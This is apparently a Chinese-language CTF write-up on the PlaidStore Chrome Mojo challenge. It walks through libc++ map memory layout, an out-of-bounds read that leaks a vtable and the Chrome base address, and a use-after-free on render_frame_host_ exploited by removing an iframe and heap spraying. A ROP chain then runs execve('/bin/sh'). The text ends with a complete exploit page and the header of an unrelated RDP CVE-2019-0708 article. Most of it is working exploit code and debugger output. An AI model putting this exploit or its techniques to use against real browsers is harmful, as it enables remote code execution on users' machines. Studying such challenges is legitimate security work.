0x2dd26ed2f0b0: 0x3837363534333231 0x4847464544434241
0x2dd26ed2f0c0: 0xffffd20000000001 0xfffffffd55553ec2
0x2dd26ed2f0d0: 0xffffd20000000001 0xfffffffd55553ec2
0x2dd26ed2f0e0: 0xffffd20000000001 0xfffffffd55553ec2
0x2dd26ed2f0f0: 0xffffd20000000001 0xfffffffd55553ec2
为了继续往下，我需要简要的描述一下map的内存布局,chrome里使用的std::map标准库实现在[这里](https://source.chromium.org/chromium/chromium/src/+/master:buildtools/third_party/libc++/trunk/include/map)
template <class _Key, class _CP, class _Compare,
bool = is_empty<_Compare>::value && !__libcpp_is_final<_Compare>::value>
class __map_value_compare
: private _Compare
{
private:
...
typedef __tree<__value_type, __vc, __allocator_type> __base;
__base __tree_;
}
其实只有一个字段，也就是保存了一个`__tree`类型的成员变量，其实这就是红黑树(rb tree)的实现，map其实是rb
tree的一层wrapper，实际的插入删除等，都是在`__tree`上完成的。
所以我们直接看`__tree`的内存布局即可。
template <class _Tp, class _Compare, class _Allocator>
class __tree
{
private:
__iter_pointer __begin_node_;
__compressed_pair<__end_node_t, __node_allocator> __pair1_;
__compressed_pair<size_type, value_compare> __pair3_;
其有三个成员变量，一个是指向起始tree_node的指针，其他两个字段用不到，也就不解释了。
那么我们现在就知道了，对于如下impl，其偏移0x10位置处就是保持着map的起始节点，而map是一颗rb
tree，所以从这个节点我们就可以索引到其他所有插入的节点了。
gdb-peda$ x/20gx 0x2dd26ed2ede0
0x2dd26ed2ede0: 0x000055555f50a7a0 //vtable 0x00002dd26ec42400 // render_frame_host_
0x2dd26ed2edf0: |map start| 0x00002dd26ed2edf8 0x0000000000000000
0x2dd26ed2ee00: 0x0000000000000000|map end| --> // data_store_
现在让我们看一下tree_node的具体内存布局
template <class _Pointer> class __tree_end_node;
template <class _VoidPtr> class __tree_node_base;
template <class _Tp, class _VoidPtr> class __tree_node;
...
// node
template <class _Pointer>
class __tree_end_node
{
public:
typedef _Pointer pointer;
pointer __left_;
_LIBCPP_INLINE_VISIBILITY
__tree_end_node() _NOEXCEPT : __left_() {}
};
template <class _VoidPtr>
class __tree_node_base
: public __tree_node_base_types<_VoidPtr>::__end_node_type
{
typedef __tree_node_base_types<_VoidPtr> _NodeBaseTypes;
public:
typedef typename _NodeBaseTypes::__node_base_pointer pointer;
typedef typename _NodeBaseTypes::__parent_pointer __parent_pointer;
pointer __right_;
__parent_pointer __parent_;
bool __is_black_;
_LIBCPP_INLINE_VISIBILITY
pointer __parent_unsafe() const { return static_cast<pointer>(__parent_);}
_LIBCPP_INLINE_VISIBILITY
void __set_parent(pointer __p) {
__parent_ = static_cast<__parent_pointer>(__p);
}
private:
~__tree_node_base() _LIBCPP_EQUAL_DELETE;
__tree_node_base(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
__tree_node_base& operator=(__tree_node_base const&) _LIBCPP_EQUAL_DELETE;
};
template <class _Tp, class _VoidPtr>
class __tree_node
: public __tree_node_base<_VoidPtr>
{
public:
typedef _Tp __node_value_type;
__node_value_type __value_;
private:
~__tree_node() _LIBCPP_EQUAL_DELETE;
__tree_node(__tree_node const&) _LIBCPP_EQUAL_DELETE;
__tree_node& operator=(__tree_node const&) _LIBCPP_EQUAL_DELETE;
};
所以对于一个tree_node，其保存的字段依次为，前四个大小是固定的，其整体大小依据`__node_value_type`的大小来决定，这个node_value_type实际上就是key-value这样一个pair对，在这里就是`pair<string,vector<uint8_t>>`
0x0 pointer __left_;
0x8 pointer __right_;
0x10 __parent_pointer __parent_;
0x18 bool __is_black_;
0x20 __node_value_type __value_;
所以我们来看一下内存
//PlaidStoreImpl
gdb-peda$ x/20gx 0x00003268b2727f00
0x3268b2727f00: 0x000055555f50a7a0 0x00003268b2643400
0x3268b2727f10: 0x00003268b271a780//first tree node 0x00003268b271a780
0x3268b2727f20: 0x0000000000000001
gdb-peda$ x/20gx 0x00003268b271a780
0x3268b271a780: 0x0000000000000000 0x0000000000000000
0x3268b271a790: 0x00003268b2727f18 0x0000000000000001
0x3268b271a7a0: |0x0000000061616161 0x0000000000000000
0x3268b271a7b0: 0x0400000000000000|-->string | 0x00003268b2757ba0-->vector
0x3268b271a7c0: 0x00003268b2757bc8 0x00003268b2757bc8 |
...
// vector elements
gdb-peda$ x/20gx 0x00003268b2757ba0
0x3268b2757ba0: 0x3131313131313131 0x3131313131313131
0x3268b2757bb0: 0x3131313131313131 0x3131313131313131
0x3268b2757bc0: 0x3131313131313131 0x0000000000000000
string的对象布局我没有看，不过我简单的解释一下这里为什么vector是这样的，因为其包括三个成员变量，首先是vector里元素的起始地址，然后是终止地址和容量。
class __vector_base
pointer __begin_;
pointer __end_;
__compressed_pair<pointer, allocator_type> __end_cap_;
而此时我们的oob，也就是从vector的起始地址开始，可以越界读到后面的任意地址的值。
gdb-peda$ vmmap 0x00003268b2757ba0
Start End Perm Name
0x00003268b237d000 0x00003268b287c000 rw-p mapped
gdb-peda$ vmmap 0x00003268b2727f00
Start End Perm Name
0x00003268b237d000 0x00003268b287c000 rw-p mapped
由于impl和vector在同一段上，其应该都是通过partitionAlloc动态分配出来的，所以我们可以大量分配impl，从而使impl和vector接近线性交替存放，并最终leak出来，这里我们的判断依据是虚表地址是页对齐的，也就是最后的0x7a0是不变的，从而找到虚表地址。
因为虚表地址在chrome的只读数据段中(.rodata)上，所以可以通过减去偏移找到chrome的基地址。
这个偏移的计算相当简单，我一般直接vmmap看一下加载基地址，然后减去即可找到偏移。
gdb-peda$ vmmap 0x55555f50a7a0
Start End Perm Name
0x000055555f455000 0x000055555faf2000 r--p /home/sakura/mojo/chrome
gdb-peda$ vmmap
Start End Perm Name
0x000023612d770000 0x000023612d771000 ---p mapped
0x000023612d771000 0x000023612dc70000 rw-p mapped
0x0000555555554000 0x000055555824b000 r--p /home/sakura/mojo/chrome
0x000055555824b000 0x000055555f455000 r-xp /home/sakura/mojo/chrome
0x000055555f455000 0x000055555faf2000 r--p /home/sakura/mojo/chrome
0x000055555faf2000 0x000055555fb4e000 rw-p /home/sakura/mojo/chrome
...
gdb-peda$ p/x 0x55555f50a7a0-0x0000555555554000
$1 = 0x9fb67a0
async function oob(){
console.log("oob");
var ps_list = [];
var try_size = 100;
var vt_addr = 0;
var render_frame_host_addr = 0;
var code_base = 0;
for(let i = 0; i < try_size; i++){ //创建impl并store一些数据，从而创建vector
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(vt_addr != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = await tmp_ps_ptr.getData("aaaa", 0x100); //越界读取，这里设置成0x100，不能太大，防止读到一些不可访问的地址
let oob_data = r.data;
for(let i = 0x30; i < 0x100; i = i + 8){
let tmp_oob_data = b2i(oob_data.slice(i, i+8)); //因为读取到的是byte数组，所以要转回数值
if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
vt_addr = tmp_oob_data;
code_base = vt_addr - 0x9fb67a0;
console.log('vt_addr is: ', hex(vt_addr));
console.log('code_base is: ', hex(code_base));
render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
break;
}
}
}
r2p_rfh(hex(render_frame_host_addr));
r2p_code_base(hex(code_base));
}
有了chrome的基地址，我们就可以搜索gadget来构造rop了，这里我直接参考了[这篇文章](https://blog.keenan.top/2020/08/06/PlaidCTF-2020-PlaidStore-Mojo/)里使用的gadaget。
ROPgadget --binary=./chrome > gadget.txt
也可以这样，然后直接在文件里find需要的gadget，不再赘述。
虚表其实就是保存着函数地址的表，虚函数调用的时候，首先根据保存的虚表地址(vtable
entry)，找到虚函数表，然后再根据偏移在虚表里找到对应的函数地址。
所以只要改掉了其保存的函数地址，就可以在执行对应的虚函数时去执行任意代码。
我们来看一个正常的虚函数调用的汇编，这里我断在GetData，`getData("aaaa",
0x100)`，虚函数调用也还是成员函数，所以第一个参数是this，也就是render_frame_host_的地址，然后key是"aaaa"，count是0x100。
如图看寄存器，rdi是`0x88313358100`，rsi是"aaaa"，rdx是0x100，和我们刚刚的推论吻合。
再看汇编。
mov rbx,rdi // rdi指向PlaidStoreImpl，是this
mov rdi,QWORD PTR [rdi+0x8] //取其偏移0x8的位置的值，刚好就是render_frame_host，到rdi
mov rax,QWORD PTR [rdi] //取render_frame_host_偏移0x0位置的值，也就是vtable entry到rax里
call QWORD PTR [rax+0x160] //vtable entry指向虚表基地址vt_base_addr，call将跳转到vt_base_addr+0x160处保存的函数地址去执行。
这里就是在call虚函数IsRenderFrameLive，这个函数的地址保存在[rax+0x160]，而由于前面所述的UAF的原因，render_frame_host_地址处的所有内容完全可控，所以rax的值我们完全可控。
void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
std::move(callback).Run({});
return;
}
chrome上比较常用的是劫持栈指针到我们可控的位置,这里`render_frame_host_`里的内容我们就完全可控，我们可以把栈指针劫持到`render_frame_host_`上。
让rax里保存的地址为`addr render_frame_host_+0x10`，这里就是新的虚表了。
### UAF
接下来的执行将分成两部分。
* 首先对于`#parent`
* 创建一个child iframe
* 然后通过MojoTest flag的特性，创建一个kPwnInterfaceName拦截器，并注册对应的处理函数
* 处理函数逻辑为
* 关闭拦截器
* 从接收到的MojoInterfaceRequestEvent里取出传过来的handle，用来初始化一个PlaidStorePtr指针plaid_store_ptr
* 返回这个指针给`#parent`
* 打开拦截器
* 对于`#child`
* 执行oob函数来leak出自己的render_frame_host_和chrome的基地址
* 创建Message pipe，将receiver端传给browser，用来bind到一个PlaidStoreImpl实例上
* 将remote端通过`Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");`发给拦截器，从而触发对应的处理函数。
* 这样即使child iframe被remove掉，remote端仍被parent持有，所以message pipe不会被中断，和其绑定的child iframe里对应的PlaidStoreImpl也不会被析构，但此时PlaidStoreImpl里保存的child iframe的`render_frame_host_`已经被析构掉了。
* 此时，通过`#parent`里保存的`plaid_store_ptr`，就可以从remote端调用browser里PlaidStoreImpl的函数，从而触发UAF，具体代码如下:
function allocateRFH(src) {
var iframe = document.createElement("iframe");
iframe.src = src;
document.body.appendChild(iframe);
return iframe;
}
function freeRFH(iframe) {
document.body.removeChild(iframe);
}
var kPwnInterfaceName = "pwn";
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent rfh
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}
function getFreedPtr() {
return new Promise(function (resolve, reject) {
// create child iframe, allocate new RenderFrameHost
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
// e is MojoInterfaceRequestEvent
interceptor.stop();
// bind the remote
var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
// get child iframe render_frame_host_addr
iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
freeRFH(frame);
resolve(plaid_store_ptr);
}
interceptor.start();
});
}
async function trigger() {
// for #child
if (window.location.hash == "#child") {
await oob();
sendPtr();
return;
}
// for #parent
iframe_render_frame_host_addr = 0;
code_base = 0
var try_size = 100;
var kRenderFrameHost = 0xc28;
let ptr = await getFreedPtr();// free iframe
}
剩下最后一个问题，如何通过heap
spray来占坑我们之前释放掉的iframe里的`render_frame_host_`，其实很简单，因为chrome里heap
management是使用TCMalloc的。
所以我们通过StoreData分配出来的`vector<uint8_t>`和`render_frame_host_`是使用同样的分配器，也就是只要大量分配大小和`render_frame_host_`相等的vector就可能占位上。
这里我们先看一下`render_frame_host_`的大小，步骤如下，最终找到大小是0xc28
gdb-peda$ info functions RenderFrameHostImpl::RenderFrameHostImpl
All functions matching regular expression "RenderFrameHostImpl::RenderFrameHostImpl":
Non-debugging symbols:
0x0000000003b21d80 content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
0x0000000003b21d80 content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
gdb-peda$ b content::RenderFrameHostImpl::RenderFrameHostImpl
Breakpoint 1 at 0x3b21d84
...
gdb-peda$ r
Thread 1 "chrome" hit Breakpoint 1, 0x0000555559075d84 in content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
gdb-peda$ bt
#0 0x0000555559075d84 in content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
#1 0x0000555559075a96 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
...
gdb-peda$ b content::RenderFrameHostFactory::Create
Breakpoint 2 at 0x5555590759e4
gdb-peda$ r // 重新运行
Thread 1 "chrome" hit Breakpoint 2, 0x00005555590759e4 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool) ()
...
单步执行
0x555559075a52 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+114>: mov edi,0xc28 //可以看出大小是0xc28
0x555559075a57 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+119>: call 0x55555ac584b0 <_ZnwmRKSt9nothrow_t>
0x555559075a5c <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+124>: mov rdi,rax
0x555559075a5f <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+127>: mov rax,QWORD PTR [r14]
0x555559075a62 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+130>: mov QWORD PTR [rbp-0x38],rax
0x555559075a66 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+134>: mov QWORD PTR [r14],0x0
0x555559075a6d <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+141>: sub rsp,0x8
0x555559075a71 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+145>: movzx eax,BYTE PTR [rbp+0x20]
0x555559075a75 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+149>: lea rdx,[rbp-0x38]
0x555559075a79 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+153>: mov r14,rdi
0x555559075a7c <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+156>: mov rsi,rbx
0x555559075a7f <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+159>: mov rcx,r13
0x555559075a82 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+162>: mov r8,r12
0x555559075a85 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+165>: mov r9,r15
0x555559075a88 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+168>: push rax
0x555559075a89 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+169>: mov eax,DWORD PTR [rbp+0x18]
0x555559075a8c <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+172>: push rax
0x555559075a8d <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+173>: mov eax,DWORD PTR [rbp+0x10]
=> 0x555559075a90 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+176>: push rax
0x555559075a91 <_ZN7content22RenderFrameHostFactory6CreateEPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib+177>:
call 0x555559075d80 <_ZN7content19RenderFrameHostImplC2EPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib>
...
...
可以看出call的两个函数分别为new和RenderFrameHostImpl的构造函数
sakura@ubuntu:~/mojo$ c++filt _ZN7content19RenderFrameHostImplC2EPNS_12SiteInstanceE13scoped_refptrINS_18RenderViewHostImplEEPNS_23RenderFrameHostDelegateEPNS_9FrameTreeEPNS_13FrameTreeNodeEiib
content::RenderFrameHostImpl::RenderFrameHostImpl(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, int, bool)
sakura@ubuntu:~/mojo$ c++filt _ZnwmRKSt9nothrow_t
operator new(unsigned long, std::nothrow_t const&)
我们可以直接拿之前获取的remote来调storeData，并在data里fake好gadaget和数据，还是刚刚的那个图。
var uaf_ab = new ArrayBuffer(kRenderFrameHost);
var uaf_ta = new BigUint64Array(uaf_ab);
uaf_ta[0] = BigInt(iframe_render_frame_host_addr)+0x10n;
uaf_ta[1] = 0n;
uaf_ta[2] = 0n; //use by pop rbp
uaf_ta[3] = BigInt(pop_rdi_ret);
uaf_ta[4] = BigInt(iframe_render_frame_host_addr)+0x10n+0x160n+8n;
uaf_ta[5] = BigInt(pop_rsi_ret);
uaf_ta[6] = BigInt(0);
uaf_ta[7] = BigInt(pop_rdx_ret);
uaf_ta[8] = BigInt(0);
uaf_ta[9] = BigInt(pop_rax_ret);
uaf_ta[10] = BigInt(59);
uaf_ta[11] = BigInt(syscall);
uaf_ta[(0x10+0x160)/8] = BigInt(xchg);
var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
uaf_uint8[0x10+0x160+8+0] = 0x2f;
uaf_uint8[0x10+0x160+8+1] = 0x62;
uaf_uint8[0x10+0x160+8+2] = 0x69;
uaf_uint8[0x10+0x160+8+3] = 0x6e;
uaf_uint8[0x10+0x160+8+4] = 0x2f;
uaf_uint8[0x10+0x160+8+5] = 0x73;
uaf_uint8[0x10+0x160+8+6] = 0x68;
uaf_uint8[0x10+0x160+8+7] = 0x00;
console.log("heap spray");
for(let i = 0; i < try_size; i++){ //heap spray
//await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
await ptr.storeData(""+i, new Uint8Array(uaf_ab));
}
**值得提到的一点是**
，虽然我们为storeData传入的是一个TypedArray，并在其ArrayBuffer里伪造了数据，但最终我们传到browser侧的实例里的storeData函数的仍然仅仅是一个`vector<uint8_t>`，ArrayBuffer里伪造的数据就是vector的内容。
这里我们使用一个Array一样可以占位，演示如下:
修改代码为await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
...
...
[0922/095837.359069:INFO:CONSOLE(159)] "heap spray", source: http://localhost:8000/trigger.html (159)
Thread 1 "chrome" received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x3232323232323232 ('22222222')
可以看出从我们伪造的`render_frame_host_`里取出到rax的vtable
entry是`0x3232323232323232`，和我们保存在array里的数据是完全一致的。
所以这里使用ArrayBuffer和TypedArray仅仅只是为了书写便利，没有额外的原因。
* 父子iframe之间的通信
最后需要提到的一点是，由于我们需要劫持rsp到被释放的`render_frame_host_`上，而这个`render_frame_host_`在我们的这个exploit里是child
iframe的`render_frame_host_`
所以就要在child iframe里调用oob函数来leak出`render_frame_host_`，而不是在parent里，这样就涉及到如何将child
iframe里leak出来的地址传给parent。
这里我采用的方法是将leak出来的地址作为一个新的dom节点插入进去，然后在free掉child
iframe之前，在parent里，通过`window.frames[0].window.document.getElementById`的方式拿到child
iframe的window，也就是拿到里面的所有dom节点，从而拿到在child iframe里leak出来的地址。
### 完整exploit
<html>
<head>
<script src="./mojo/public/js/mojo_bindings.js"></script>
<script src="./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function b2i(bytes){
var value = 0;
for(var i = 0; i < 8; i++){
value = value * 0x100 + bytes[7-i];
}
return value;
}
function hex(i){
return '0x' + i.toString(16);
}
// for child
function r2p_rfh(render_frame_host_addr){
addElement(render_frame_host_addr,"render_frame_host_addr");
}
function r2p_code_base(code_base){
addElement(code_base, "code_base");
}
function addElement(value, id) {
// 创建一个新的 div 元素
let newDiv = document.createElement("div");
newDiv.setAttribute("id", id);
let newContent = document.createTextNode(value);
// 添加文本节点 到这个新的 div 元素
newDiv.appendChild(newContent);
// 将这个新的元素和它的文本添加到 DOM 中
document.body.appendChild(newDiv);
}
function allocateRFH(src) {
var iframe = document.createElement("iframe");
iframe.src = src;
document.body.appendChild(iframe);
return iframe;
}
function freeRFH(iframe) {
document.body.removeChild(iframe);
}
var kPwnInterfaceName = "pwn";
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the PlaidStore with the child rfh
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent rfh
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}
function getFreedPtr() {
return new Promise(function (resolve, reject) {
// create child iframe, allocate new RenderFrameHost
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
// e is MojoInterfaceRequestEvent
interceptor.stop();
// bind the remote
var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
// get child iframe render_frame_host_addr
// console.log(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
// console.log(window.frames[0].window.document.getElementById('code_base').innerText);
iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
freeRFH(frame);
resolve(plaid_store_ptr);
}
interceptor.start();
});
}
async function trigger() {
// for #child
if (window.location.hash == "#child") {
await oob();
sendPtr();
return;
}
// for #parent
iframe_render_frame_host_addr = 0;
code_base = 0
var try_size = 100;
var kRenderFrameHost = 0xc28;
let ptr = await getFreedPtr();// free iframe
// leak addr
console.log('code_base2 is: ', hex(code_base));
console.log('render_frame_host_addr2 is: ', hex(iframe_render_frame_host_addr));
var xchg = code_base+0x880dee8; // xchg rsp, rax; clc; pop rbp; ret;
console.log("xchg gadget: ", xchg);
var pop_rdi_ret = code_base+0x2e4630f;
console.log('pop_rdi_ret: ', pop_rdi_ret);
var pop_rsi_ret = code_base+0x2d278d2;
console.log('pop_rsi_ret: ', pop_rsi_ret);
var pop_rdx_ret = code_base+0x2e9998e;
console.log('pop_rdx_ret: ', pop_rdx_ret);
var pop_rax_ret = code_base+0x2e651dd;
console.log('pop_rax_ret: ', pop_rax_ret);
var syscall = code_base+0x2ef528d;
console.log('syscall: ', syscall);
var uaf_ab = new ArrayBuffer(kRenderFrameHost);
var uaf_ta = new BigUint64Array(uaf_ab);
uaf_ta[0] = BigInt(iframe_render_frame_host_addr)+0x10n;
uaf_ta[1] = 0n;
uaf_ta[2] = 0n; //use by pop rbp
uaf_ta[3] = BigInt(pop_rdi_ret);
uaf_ta[4] = BigInt(iframe_render_frame_host_addr)+0x10n+0x160n+8n;
uaf_ta[5] = BigInt(pop_rsi_ret);
uaf_ta[6] = BigInt(0);
uaf_ta[7] = BigInt(pop_rdx_ret);
uaf_ta[8] = BigInt(0);
uaf_ta[9] = BigInt(pop_rax_ret);
uaf_ta[10] = BigInt(59);
uaf_ta[11] = BigInt(syscall);
uaf_ta[(0x10+0x160)/8] = BigInt(xchg);
var uaf_uint8 = new Uint8Array(uaf_ab); // /bin/sh\x00
uaf_uint8[0x10+0x160+8+0] = 0x2f;
uaf_uint8[0x10+0x160+8+1] = 0x62;
uaf_uint8[0x10+0x160+8+2] = 0x69;
uaf_uint8[0x10+0x160+8+3] = 0x6e;
uaf_uint8[0x10+0x160+8+4] = 0x2f;
uaf_uint8[0x10+0x160+8+5] = 0x73;
uaf_uint8[0x10+0x160+8+6] = 0x68;
uaf_uint8[0x10+0x160+8+7] = 0x00;
console.log("heap spray");
for(let i = 0; i < try_size; i++){
//await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32));
await ptr.storeData(""+i, new Uint8Array(uaf_ab));
}
console.log('getshell');
ptr.getData("1");
}
async function oob(){
console.log("oob");
var ps_list = [];
var try_size = 100;
var vt_addr = 0;
var render_frame_host_addr = 0;
var code_base = 0;
for(let i = 0; i < try_size; i++){
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(vt_addr != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = await tmp_ps_ptr.getData("aaaa", 0x100);
let oob_data = r.data;
for(let i = 0x30; i < 0x100; i = i + 8){
let tmp_oob_data = b2i(oob_data.slice(i, i+8));
if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
vt_addr = tmp_oob_data;
code_base = vt_addr - 0x9fb67a0;
console.log('vt_addr is: ', hex(vt_addr));
console.log('code_base is: ', hex(code_base));
render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
break;
}
}
}
r2p_rfh(hex(render_frame_host_addr));
r2p_code_base(hex(code_base));
}
</script>
</head>
<body onload="trigger()"></body>
</html> | 社区文章 |
# 我们一起分析一下这个刚刚修复的RDP漏洞CVE-2019-0708
##### 译文声明
本文是翻译文章，文章原作者 mcafee，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
